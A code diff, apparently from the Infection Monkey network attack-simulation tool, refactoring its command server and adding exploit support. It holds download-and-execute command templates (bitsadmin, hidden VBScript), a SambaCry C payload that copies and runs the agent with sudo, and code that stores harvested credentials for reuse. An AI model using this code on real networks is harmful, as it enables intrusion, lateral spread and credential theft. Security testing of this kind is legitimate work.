DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )

View File

@ -7,13 +7,17 @@ a = Analysis(['main.py'],
pathex=['.'], pathex=['.'],
binaries=None, binaries=None,
datas=None, datas=None,
hiddenimports=['_cffi_backend','grequests'], hiddenimports=['_cffi_backend'],
hookspath=None, hookspath=None,
runtime_hooks=None, runtime_hooks=None,
excludes=None, excludes=None,
win_no_prefer_redirects=None, win_no_prefer_redirects=None,
win_private_assemblies=None, win_private_assemblies=None,
cipher=block_cipher) cipher=block_cipher)
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
pyz = PYZ(a.pure, a.zipped_data, pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher) cipher=block_cipher)
exe = EXE(pyz, exe = EXE(pyz,

View File

@ -86,7 +86,7 @@ class ChaosMonkey(object):
self._default_server = WormConfiguration.current_server self._default_server = WormConfiguration.current_server
LOG.debug("default server: %s" % self._default_server) LOG.debug("default server: %s" % self._default_server)
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')})
if WormConfiguration.collect_system_info: if WormConfiguration.collect_system_info:
LOG.debug("Calling system info collection") LOG.debug("Calling system info collection")

View File

@ -3,10 +3,14 @@ import os
import platform import platform
a = Analysis(['main.py'], a = Analysis(['main.py'],
pathex=['.'], pathex=['.'],
hiddenimports=['_cffi_backend', 'queue','grequests'], hiddenimports=['_cffi_backend', 'queue'],
hookspath=None, hookspath=None,
runtime_hooks=None) runtime_hooks=None)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
if platform.system().find("Windows")>= 0: if platform.system().find("Windows")>= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0] a.datas = [i for i in a.datas if i[0].find('Include') < 0]
if platform.architecture()[0] == "32bit": if platform.architecture()[0] == "32bit":

View File

@ -0,0 +1,3 @@
#!/usr/bin/env bash
gcc -c -Wall -Werror -fpic sc_monkey_runner.c
gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o

View File

@ -0,0 +1,160 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#include "sc_monkey_runner.h"
#ifdef __x86_64__
#define ARCH_IS_64
#endif
#ifdef _____LP64_____
#define ARCH_IS_64
#endif
#define LINE_MAX_LENGTH (2048)
#define MAX_PARAMETERS (30)
int samba_init_module(void)
{
#ifdef ARCH_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
const char MONKEY_COPY_NAME[] = "monkey64_2";
#else
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
const char MONKEY_NAME[] = "monkey32";
const char MONKEY_COPY_NAME[] = "monkey32_2";
#endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const int ACCESS_MODE = 0777;
const char RUN_MONKEY_CMD[] = "sudo ./";
int found = 0;
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
char commandline[LINE_MAX_LENGTH] = {'\0'};
char* monkeyDirectory = NULL;
char* fileNamePointer = NULL;
FILE * pFile = NULL;
pid_t pid = 0;
int monkeySize = 0;
void* monkeyBinary = NULL;
struct stat fileStats;
pid = fork();
if (0 != pid)
{
// error or this is parent - nothing to do but return.
return 0;
}
// Find fullpath of running module.
pFile = fopen("/proc/self/maps", "r");
if (NULL == pFile)
{
return 0;
}
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
if (fileNamePointer != NULL) {
found = 1;
break;
}
}
fclose(pFile);
// We can't find ourselves in module list
if (0 == found)
{
return 0;
}
monkeyDirectory = strchr(modulePathLine, '/');
*fileNamePointer = '\0';
if (0 != chdir(monkeyDirectory))
{
return 0;
}
// Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (NULL == pFile)
{
return 0;
}
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
fclose(pFile);
// Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r");
if (NULL == pFile)
{
return 0;
}
// Build commandline
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
strncat(commandline, " ", 1);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile);
if (0 != stat(MONKEY_NAME, &fileStats))
{
return 0;
}
monkeySize = (int)fileStats.st_size;
// Copy monkey to new file so we'll own it.
pFile = fopen(MONKEY_NAME, "rb");
if (NULL == pFile)
{
return 0;
}
monkeyBinary = malloc(monkeySize);
if (NULL == monkeyBinary)
{
return 0;
}
fread(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
pFile = fopen(MONKEY_COPY_NAME, "wb");
if (NULL == pFile)
{
free(monkeyBinary);
return 0;
}
fwrite(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
free(monkeyBinary);
// Change monkey permissions
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE))
{
return 0;
}
system(commandline);
return 0;
}
int init_samba_module(void)
{
return samba_init_module();
}

View File

@ -0,0 +1,7 @@
#ifndef monkey_runner_h__
#define monkey_runner_h__
extern int samba_init_module(void);
extern int init_samba_module(void);
#endif // monkey_runner_h__

View File

@ -18,8 +18,6 @@ from cc.resources.root import Root
__author__ = 'Barak' __author__ = 'Barak'
# TODO: separate logic from resources
def serve_static_file(path): def serve_static_file(path):
print 'requested', path print 'requested', path
if path.startswith('api/'): if path.startswith('api/'):
@ -28,6 +26,7 @@ def serve_static_file(path):
def serve_home(): def serve_home():
# TODO: remove this or merge with frontend.
return serve_static_file('index.html') return serve_static_file('index.html')
@ -75,7 +74,7 @@ def init_app(mongo_url):
api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/<string:monkey_guid>') api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/<string:monkey_guid>')
api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/')
api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/',
'/api/monkey/download/<string:path>') '/api/monkey/download/<string:path>')
api.add_resource(NetMap, '/api/netmap', '/api/netmap/') api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/')
api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')

View File

@ -0,0 +1,4 @@
__author__ = 'itay.mizeretz'
ISLAND_PORT = 5000
DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland"

View File

@ -8,14 +8,8 @@ if BASE_PATH not in sys.path:
sys.path.insert(0, BASE_PATH) sys.path.insert(0, BASE_PATH)
from cc.app import init_app from cc.app import init_app
from cc.utils import init_collections, local_ip_addresses from cc.utils import local_ip_addresses
from cc.island_config import DEFAULT_MONGO_URL, ISLAND_PORT
ISLAND_PORT = 5000
DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland"
INITIAL_USERNAMES = ['Administrator', 'root', 'user']
INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"]
if __name__ == '__main__': if __name__ == '__main__':
from tornado.wsgi import WSGIContainer from tornado.wsgi import WSGIContainer
@ -23,8 +17,6 @@ if __name__ == '__main__':
from tornado.ioloop import IOLoop from tornado.ioloop import IOLoop
app = init_app(os.environ.get('MONGO_URL', DEFAULT_MONGO_URL)) app = init_app(os.environ.get('MONGO_URL', DEFAULT_MONGO_URL))
with app.app_context():
init_collections(INITIAL_USERNAMES, INITIAL_PASSWORDS)
http_server = HTTPServer(WSGIContainer(app), http_server = HTTPServer(WSGIContainer(app),
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) 'keyfile': os.environ.get('SERVER_KEY', 'server.key')})

View File

@ -7,8 +7,8 @@ from flask import request, jsonify, make_response
import flask_restful import flask_restful
from cc.resources.monkey_download import get_monkey_executable from cc.resources.monkey_download import get_monkey_executable
from cc.island_config import ISLAND_PORT
from cc.utils import local_ips from cc.services.node import NodeService
__author__ = 'Barak' __author__ = 'Barak'
@ -21,7 +21,7 @@ def run_local_monkey(island_address):
# get the monkey executable suitable to run on the server # get the monkey executable suitable to run on the server
result = get_monkey_executable(platform.system().lower(), platform.machine().lower()) result = get_monkey_executable(platform.system().lower(), platform.machine().lower())
if not result: if not result:
return (False, "OS Type not found") return False, "OS Type not found"
monkey_path = os.path.join('binaries', result['filename']) monkey_path = os.path.join('binaries', result['filename'])
target_path = os.path.join(os.getcwd(), result['filename']) target_path = os.path.join(os.getcwd(), result['filename'])
@ -30,8 +30,8 @@ def run_local_monkey(island_address):
try: try:
copyfile(monkey_path, target_path) copyfile(monkey_path, target_path)
os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG)
except Exception, exc: except Exception as exc:
return (False, "Copy file failed: %s" % exc) return False, "Copy file failed: %s" % exc
# run the monkey # run the monkey
try: try:
@ -39,16 +39,15 @@ def run_local_monkey(island_address):
if sys.platform == "win32": if sys.platform == "win32":
args = "".join(args) args = "".join(args)
pid = subprocess.Popen(args, shell=True).pid pid = subprocess.Popen(args, shell=True).pid
except Exception, exc: except Exception as exc:
return (False, "popen failed: %s" % exc) return False, "popen failed: %s" % exc
return (True, "pis: %s" % pid) return True, "pis: %s" % pid
class LocalRun(flask_restful.Resource): class LocalRun(flask_restful.Resource):
def get(self): def get(self):
# TODO implement is_running from db monkeys collection return jsonify(is_running=(NodeService.get_monkey_island_monkey() is not None))
return jsonify(is_running=False)
def post(self): def post(self):
body = json.loads(request.data) body = json.loads(request.data)

View File

@ -1,14 +1,18 @@
import json import json
from datetime import datetime, timedelta from datetime import datetime, timedelta
import dateutil import dateutil.parser
from flask import request from flask import request
import flask_restful import flask_restful
from cc.database import mongo from cc.database import mongo
from cc.services.config import ConfigService
from cc.services.node import NodeService
__author__ = 'Barak' __author__ = 'Barak'
# TODO: separate logic from interface
def update_dead_monkeys(): def update_dead_monkeys():
# Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes
@ -29,10 +33,6 @@ class Monkey(flask_restful.Resource):
if guid: if guid:
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
monkey_json['config']['exploit_user_list'] = \
map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)]))
monkey_json['config']['exploit_password_list'] = \
map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)]))
return monkey_json return monkey_json
else: else:
result = {'timestamp': datetime.now().isoformat()} result = {'timestamp': datetime.now().isoformat()}
@ -45,19 +45,22 @@ class Monkey(flask_restful.Resource):
def patch(self, guid): def patch(self, guid):
monkey_json = json.loads(request.data) monkey_json = json.loads(request.data)
update = {"$set": {'modifytime': datetime.now()}} update = {"$set": {'modifytime': datetime.now()}}
monkey = NodeService.get_monkey_by_guid(guid)
if 'keepalive' in monkey_json: if 'keepalive' in monkey_json:
update['$set']['keepalive'] = dateutil.parser.parse(monkey_json['keepalive']) update['$set']['keepalive'] = dateutil.parser.parse(monkey_json['keepalive'])
else: else:
update['$set']['keepalive'] = datetime.now() update['$set']['keepalive'] = datetime.now()
if 'config' in monkey_json: if 'config' in monkey_json:
update['$set']['config'] = monkey_json['config'] update['$set']['config'] = monkey_json['config']
if 'tunnel' in monkey_json:
update['$set']['tunnel'] = monkey_json['tunnel']
if 'config_error' in monkey_json: if 'config_error' in monkey_json:
update['$set']['config_error'] = monkey_json['config_error'] update['$set']['config_error'] = monkey_json['config_error']
return mongo.db.monkey.update({"guid": guid}, update, upsert=False) if 'tunnel' in monkey_json:
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id)
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
def post(self, **kw): def post(self, **kw):
monkey_json = json.loads(request.data) monkey_json = json.loads(request.data)
@ -71,7 +74,7 @@ class Monkey(flask_restful.Resource):
# if new monkey telem, change config according to "new monkeys" config. # if new monkey telem, change config according to "new monkeys" config.
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
if not db_monkey: if not db_monkey:
new_config = mongo.db.config.find_one({'name': 'newconfig'}) or {} new_config = ConfigService.get_flat_config()
monkey_json['config'] = monkey_json.get('config', {}) monkey_json['config'] = monkey_json.get('config', {})
monkey_json['config'].update(new_config) monkey_json['config'].update(new_config)
else: else:
@ -105,6 +108,12 @@ class Monkey(flask_restful.Resource):
else: else:
monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add] monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
tunnel_host_id = None
if 'tunnel' in monkey_json:
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
monkey_json.pop('tunnel')
mongo.db.monkey.update({"guid": monkey_json["guid"]}, mongo.db.monkey.update({"guid": monkey_json["guid"]},
{"$set": monkey_json}, {"$set": monkey_json},
upsert=True) upsert=True)
@ -113,12 +122,15 @@ class Monkey(flask_restful.Resource):
new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"]
if tunnel_host_id is not None:
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id)
existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}}) existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})
if existing_node: if existing_node:
id = existing_node["_id"] node_id = existing_node["_id"]
for edge in mongo.db.edge.find({"to": id}): for edge in mongo.db.edge.find({"to": node_id}):
mongo.db.edge.update({"_id": edge["_id"]}, {"$set": {"to": new_monkey_id}}) mongo.db.edge.update({"_id": edge["_id"]}, {"$set": {"to": new_monkey_id}})
mongo.db.node.remove({"_id": id}) mongo.db.node.remove({"_id": node_id})
return {"id": new_monkey_id} return {"id": new_monkey_id}

View File

@ -4,37 +4,18 @@ from flask import request, jsonify
import flask_restful import flask_restful
from cc.database import mongo from cc.database import mongo
from cc.services.config import ConfigService
__author__ = 'Barak' __author__ = 'Barak'
SCHEMA = {
'type': 'object',
'title': 'Monkey',
'properties': {
'alive': {
'title': 'Alive',
'type': 'boolean'
}
},
'options': {
'collapsed': True
}
}
class MonkeyConfiguration(flask_restful.Resource): class MonkeyConfiguration(flask_restful.Resource):
def get(self): def get(self):
return jsonify(schema=SCHEMA, configuration=self._get_configuration()) return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config())
def post(self): def post(self):
config_json = json.loads(request.data) config_json = json.loads(request.data)
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
return jsonify(schema=SCHEMA, configuration=self._get_configuration())
@classmethod mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
def _get_configuration(cls): return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config())
config = mongo.db.config.find_one({'name': 'newconfig'}) or {}
for field in ('name', '_id'):
config.pop(field, None)
return config

View File

@ -20,7 +20,7 @@ MONKEY_DOWNLOADS = [
}, },
{ {
'type': 'linux', 'type': 'linux',
'filename': 'monkey-linux-32', 'filename': 'monkey-linux-64',
}, },
{ {
'type': 'windows', 'type': 'windows',

View File

@ -1,5 +1,6 @@
import flask_restful import flask_restful
from cc.services.edge import EdgeService
from cc.services.node import NodeService from cc.services.node import NodeService
from cc.database import mongo from cc.database import mongo
@ -10,18 +11,19 @@ class NetMap(flask_restful.Resource):
def get(self, **kw): def get(self, **kw):
monkeys = [NodeService.monkey_to_net_node(x) for x in mongo.db.monkey.find({})] monkeys = [NodeService.monkey_to_net_node(x) for x in mongo.db.monkey.find({})]
nodes = [NodeService.node_to_net_node(x) for x in mongo.db.node.find({})] nodes = [NodeService.node_to_net_node(x) for x in mongo.db.node.find({})]
edges = [self.edge_to_net_edge(x) for x in mongo.db.edge.find({})] edges = [EdgeService.edge_to_net_edge(x) for x in mongo.db.edge.find({})]
if NodeService.get_monkey_island_monkey() is None:
monkey_island = [NodeService.get_monkey_island_pseudo_net_node()]
edges += EdgeService.get_monkey_island_pseudo_edges()
else:
monkey_island = []
edges += EdgeService.get_infected_monkey_island_pseudo_edges()
return \ return \
{ {
"nodes": monkeys + nodes, "nodes": monkeys + nodes + monkey_island,
"edges": edges "edges": edges
} }
def edge_to_net_edge(self, edge):
return \
{
"id": edge["_id"],
"from": edge["from"],
"to": edge["to"]
}

View File

@ -5,7 +5,7 @@ import flask_restful
from cc.database import mongo from cc.database import mongo
from cc.utils import init_collections, local_ip_addresses from cc.utils import local_ip_addresses
__author__ = 'Barak' __author__ = 'Barak'
@ -22,11 +22,8 @@ class Root(flask_restful.Resource):
mongo.db.config.drop() mongo.db.config.drop()
mongo.db.monkey.drop() mongo.db.monkey.drop()
mongo.db.telemetry.drop() mongo.db.telemetry.drop()
mongo.db.usernames.drop()
mongo.db.passwords.drop()
mongo.db.node.drop() mongo.db.node.drop()
mongo.db.edge.drop() mongo.db.edge.drop()
init_collections()
return jsonify(status='OK') return jsonify(status='OK')
elif action == "killall": elif action == "killall":
mongo.db.monkey.update({}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, mongo.db.monkey.update({}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False,

View File

@ -1,13 +1,15 @@
import json import json
from datetime import datetime from datetime import datetime
import traceback
import dateutil import dateutil
from flask import request from flask import request
import flask_restful import flask_restful
from cc.database import mongo from cc.database import mongo
from cc.services.edge import EdgeService
from cc.utils import creds_add_username, creds_add_password from cc.services.node import NodeService
from cc.services.config import ConfigService
__author__ = 'Barak' __author__ = 'Barak'
@ -38,75 +40,70 @@ class Telemetry(flask_restful.Resource):
telemetry_json['timestamp'] = datetime.now() telemetry_json['timestamp'] = datetime.now()
telem_id = mongo.db.telemetry.insert(telemetry_json) telem_id = mongo.db.telemetry.insert(telemetry_json)
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
# update exploited monkeys parent
try: try:
if telemetry_json.get('telem_type') == 'tunnel': if telemetry_json.get('telem_type') == 'tunnel':
if telemetry_json['data']: self.process_tunnel_telemetry(telemetry_json)
host = telemetry_json['data'].split(":")[-2].replace("//", "")
tunnel_host = mongo.db.monkey.find_one({"ip_addresses": host})
mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']},
{'$set': {'tunnel_guid': tunnel_host.get('guid'),
'modifytime': datetime.now()}},
upsert=False)
else:
mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']},
{'$unset': {'tunnel_guid': ''},
'$set': {'modifytime': datetime.now()}},
upsert=False)
elif telemetry_json.get('telem_type') == 'state': elif telemetry_json.get('telem_type') == 'state':
if telemetry_json['data']['done']: self.process_state_telemetry(telemetry_json)
mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, elif telemetry_json.get('telem_type') == 'exploit':
{'$set': {'dead': True, 'modifytime': datetime.now()}}, self.process_exploit_telemetry(telemetry_json)
upsert=False) elif telemetry_json.get('telem_type') == 'scan':
else: self.process_scan_telemetry(telemetry_json)
mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, elif telemetry_json.get('telem_type') == 'system_info_collection':
{'$set': {'dead': False, 'modifytime': datetime.now()}}, self.process_system_info_telemetry(telemetry_json)
upsert=False) NodeService.update_monkey_modify_time(monkey["_id"])
elif telemetry_json.get('telem_type') in ['scan', 'exploit']:
dst_ip = telemetry_json['data']['machine']['ip_addr']
src_monkey = mongo.db.monkey.find_one({"guid": telemetry_json['monkey_guid']})
dst_monkey = mongo.db.monkey.find_one({"ip_addresses": dst_ip})
if dst_monkey:
edge = mongo.db.edge.find_one({"from": src_monkey["_id"], "to": dst_monkey["_id"]})
if edge is None:
edge = self.insert_edge(src_monkey["_id"], dst_monkey["_id"])
else:
dst_node = mongo.db.node.find_one({"ip_addresses": dst_ip})
if dst_node is None:
dst_node_insert_result = mongo.db.node.insert_one({"ip_addresses": [dst_ip]})
dst_node = mongo.db.node.find_one({"_id": dst_node_insert_result.inserted_id})
edge = mongo.db.edge.find_one({"from": src_monkey["_id"], "to": dst_node["_id"]})
if edge is None:
edge = self.insert_edge(src_monkey["_id"], dst_node["_id"])
if telemetry_json.get('telem_type') == 'scan':
self.add_scan_to_edge(edge, telemetry_json)
else:
self.add_exploit_to_edge(edge, telemetry_json)
except StandardError as e:
pass
# Update credentials DB
try:
if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')):
creds = telemetry_json['data']['credentials']
for user in creds:
creds_add_username(user)
if creds[user].has_key('password'):
creds_add_password(creds[user]['password'])
except StandardError as ex: except StandardError as ex:
print("Exception caught while updating DB credentials: %s" % str(ex)) print("Exception caught while processing telemetry: %s" % str(ex))
traceback.print_exc()
return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
def add_scan_to_edge(self, edge, telemetry_json): def get_edge_by_scan_or_exploit_telemetry(self, telemetry_json):
dst_ip = telemetry_json['data']['machine']['ip_addr']
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
dst_node = NodeService.get_monkey_by_ip(dst_ip)
if dst_node is None:
dst_node = NodeService.get_or_create_node(dst_ip)
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
def process_tunnel_telemetry(self, telemetry_json):
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
if telemetry_json['data']['proxy'] is not None:
host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id)
else:
NodeService.unset_all_monkey_tunnels(monkey_id)
def process_state_telemetry(self, telemetry_json):
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
if telemetry_json['data']['done']:
NodeService.set_monkey_dead(monkey, True)
else:
NodeService.set_monkey_dead(monkey, False)
def process_exploit_telemetry(self, telemetry_json):
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
data = telemetry_json['data']
data["machine"].pop("ip_addr")
new_exploit = \
{
"timestamp": telemetry_json["timestamp"],
"data": data,
"exploiter": telemetry_json['data']['exploiter']
}
mongo.db.edge.update(
{"_id": edge["_id"]},
{"$push": {"exploits": new_exploit}}
)
if data['result']:
EdgeService.set_edge_exploited(edge)
def process_scan_telemetry(self, telemetry_json):
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
data = telemetry_json['data']['machine'] data = telemetry_json['data']['machine']
data.pop("ip_addr") data.pop("ip_addr")
new_scan = \ new_scan = \
@ -120,26 +117,25 @@ class Telemetry(flask_restful.Resource):
{"$push": {"scans": new_scan}} {"$push": {"scans": new_scan}}
) )
def add_exploit_to_edge(self, edge, telemetry_json): node = mongo.db.node.find_one({"_id": edge["to"]})
data = telemetry_json['data'] if node is not None:
data["machine"].pop("ip_addr") if new_scan["scanner"] == "TcpScanner":
new_exploit = \ scan_os = new_scan["data"]["os"]
{ if "type" in scan_os:
"timestamp": telemetry_json["timestamp"], mongo.db.node.update({"_id": node["_id"]},
"data": data, {"$set": {"os.type": scan_os["type"]}},
"exploiter": telemetry_json['data']['exploiter'] upsert=False)
} if "version" in scan_os:
mongo.db.edge.update( mongo.db.node.update({"_id": node["_id"]},
{"_id": edge["_id"]}, {"$set": {"os.version": scan_os["version"]}},
{"$push": {"exploits": new_exploit}} upsert=False)
)
def process_system_info_telemetry(self, telemetry_json):
if 'credentials' in telemetry_json['data']:
creds = telemetry_json['data']['credentials']
for user in creds:
ConfigService.creds_add_username(user)
if 'password' in creds[user]:
ConfigService.creds_add_password(creds[user]['password'])
def insert_edge(self, from_id, to_id):
edge_insert_result = mongo.db.edge.insert_one(
{
"from": from_id,
"to": to_id,
"scans": [],
"exploits": []
})
return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id})

View File

@ -0,0 +1,797 @@
from cc.database import mongo
__author__ = "itay.mizeretz"
SCHEMA = {
"title": "Monkey",
"type": "object",
"definitions": {
"exploiter_classes": {
"title": "Exploit class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SmbExploiter"
],
"title": "SmbExploiter"
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WmiExploiter"
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RdpExploiter"
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "Ms08_067_Exploiter"
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSHExploiter"
},
{
"type": "string",
"enum": [
"ShellShockExploiter"
],
"title": "ShellShockExploiter"
},
{
"type": "string",
"enum": [
"SambaCryExploiter"
],
"title": "SambaCryExploiter"
}
]
},
"finger_classes": {
"title": "Fingerprint class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
},
{
"type": "string",
"enum": [
